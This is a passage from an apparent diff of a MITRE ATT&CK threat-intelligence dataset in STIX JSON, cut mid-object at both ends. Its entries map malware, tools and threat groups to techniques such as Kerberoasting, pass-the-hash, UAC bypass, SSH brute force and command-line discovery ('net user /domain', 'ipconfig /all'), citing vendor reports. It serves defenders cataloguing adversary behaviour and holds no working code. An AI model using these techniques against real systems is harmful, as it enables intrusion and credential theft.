"source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) can sleep for a specific time and be set to communicate at specific intervals.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c6c3192b-f541-4f19-b7b9-f2ad026c8ffb", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.662Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[Chaos](https://attack.mitre.org/software/S0220) conducts brute force attacks against SSH services to gain initial access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--49c17cdc-72a5-442d-b153-2cc9f9cf059d", + "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "modified": "2019-05-10T18:57:53.145Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "source_name": "Chaos Stolen Backdoor", + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Sakula](https://attack.mitre.org/software/S0074) has the capability to download files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--33162cc2-a800-4d42-89bb-13ac1e75dfce", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "source_name": "Dell Sakula", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) scrapes memory for properly formatted payment card data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--145ffef4-5a63-41d7-ac74-e034e9b9622d", + "source_ref": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "source_name": "FireEye Fin8 May 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) mimics a legitimate Russian program called USB Disk Security.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a67d4b9b-0c8f-41d8-a7f2-6d4c61fcb1ea", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[HTRAN](https://attack.mitre.org/software/S0040) can proxy TCP socket connections to obfuscate command and control infrastructure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1b27cec5-241a-4c2e-a3db-e9cea241496c", + "source_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", + "modified": "2019-04-24T20:32:55.103Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Operation Quantum Entanglement", + "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) can perform pass the hash.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1dc42b4c-4a93-4fc6-bad3-b5498ad500b1", + "source_ref": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) can capture desktop screenshots in the PNG format and send them to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4f2fb45a-8359-4c75-93ae-095fcf9f856e", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-Kerberoast module can request service tickets and return crackable ticket hashes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--aaa0e944-7158-4baa-b45b-c687f7b161b5", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PowerSploit Invoke Kerberoast", + "description": "Schroeder, W. & Hart M. (2016, October 31). Invoke-Kerberoast. Retrieved March 23, 2018.", + "url": "https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/" + }, + { + "source_name": "Harmj0y Kerberoast Nov 2016", + "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.", + "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[POORAIM](https://attack.mitre.org/software/S0216) has been delivered through compromised sites acting as watering holes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f32828b5-ab55-4bf5-af89-1d6e42d559b0", + "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Regin](https://attack.mitre.org/software/S0019) contains a keylogger.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--385f57f4-87b6-4126-ab67-531e482ec9bc", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain a list of smart card readers attached to the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--45f9e4b6-a6a0-4f9f-aae9-9e8a69f5681d", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[Umbreon](https://attack.mitre.org/software/S0221) creates valid users to provide access to the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f0b6fe64-e138-42c9-9cc7-896467dc26f8", + "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.", + "source_name": "Umbreon Trend Micro", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) communicates with its C2 server over TCP port 3728.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cfccba1b-5aa0-46ef-b668-d9f7e25b53ae", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) encrypts C2 traffic using AES with a static key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f02f0a58-a76b-4966-8717-8a9b40b07e81", + "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.070Z", + "id": "relationship--fa9a8640-75e5-458c-99c0-e5e85aa32a77", + "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", + "modified": "2019-03-22T20:11:04.779Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used sc query on a victim to gather information about services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--4923be5e-dd24-4289-adca-e9dbf545b9c2", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.129Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect user account information by running net user /domain or a series of other commands on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--61dd6d75-a95b-488d-9a1d-924563592df7", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Elise](https://attack.mitre.org/software/S0081) executes ipconfig /all after initial communication is made to the remote server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--340d4ef7-816b-4758-994f-b913df78afd7", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.779Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + }, + { + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "source_name": "Accenture Dragonfish Jan 2018", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can enumerate drives and their types. It can also change file permissions using cacls.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4ffd0780-b8ed-4b8f-b5b8-ff5b0afd4f1f", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) has been observed being used to download [TEXTMATE](https://attack.mitre.org/software/S0146) and the Cobalt Strike Beacon payload onto victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d04d6101-f6f6-42a2-8679-351956b75228", + "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "source_name": "FireEye FIN7 March 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of deleting files on the victim. It also securely removes itself after collecting and exfiltrating data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2b4a8be2-8403-43d4-addd-79c504e3dec8", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "source_name": "Symantec Remsec IOCs", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Full Report", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a6150e37-2411-409f-82a0-e259d55d1166", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.032Z", + "id": "relationship--a8122755-90fe-4b68-8fa1-55ed7be90931", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "modified": "2019-03-22T19:55:13.748Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has delivered zero-day exploits and malware to victims via targeted emails containing malicious attachments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--537d027b-0559-4d1a-8f28-a918d3d23e63", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.459Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "CSM Elderwood Sept 2012", + "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.", + "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used net use to conduct internal discovery of systems. The group has also used quser.exe to identify existing RDP sessions on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fe8a320f-e5e5-4503-8c3a-5c21b628a61d", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.015Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[Downdelph](https://attack.mitre.org/software/S0134) bypasses UAC to escalate privileges by using a custom \u201cRedirectEXE\u201d shim database.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6a0f3ebb-c805-402f-bb2e-aac2f8d174fa", + "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", + "modified": "2019-10-15T18:00:19.404Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 3", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) uses AES to encrypt C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--28f655e0-ac0b-41bc-baaf-9a9987469fe9", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": 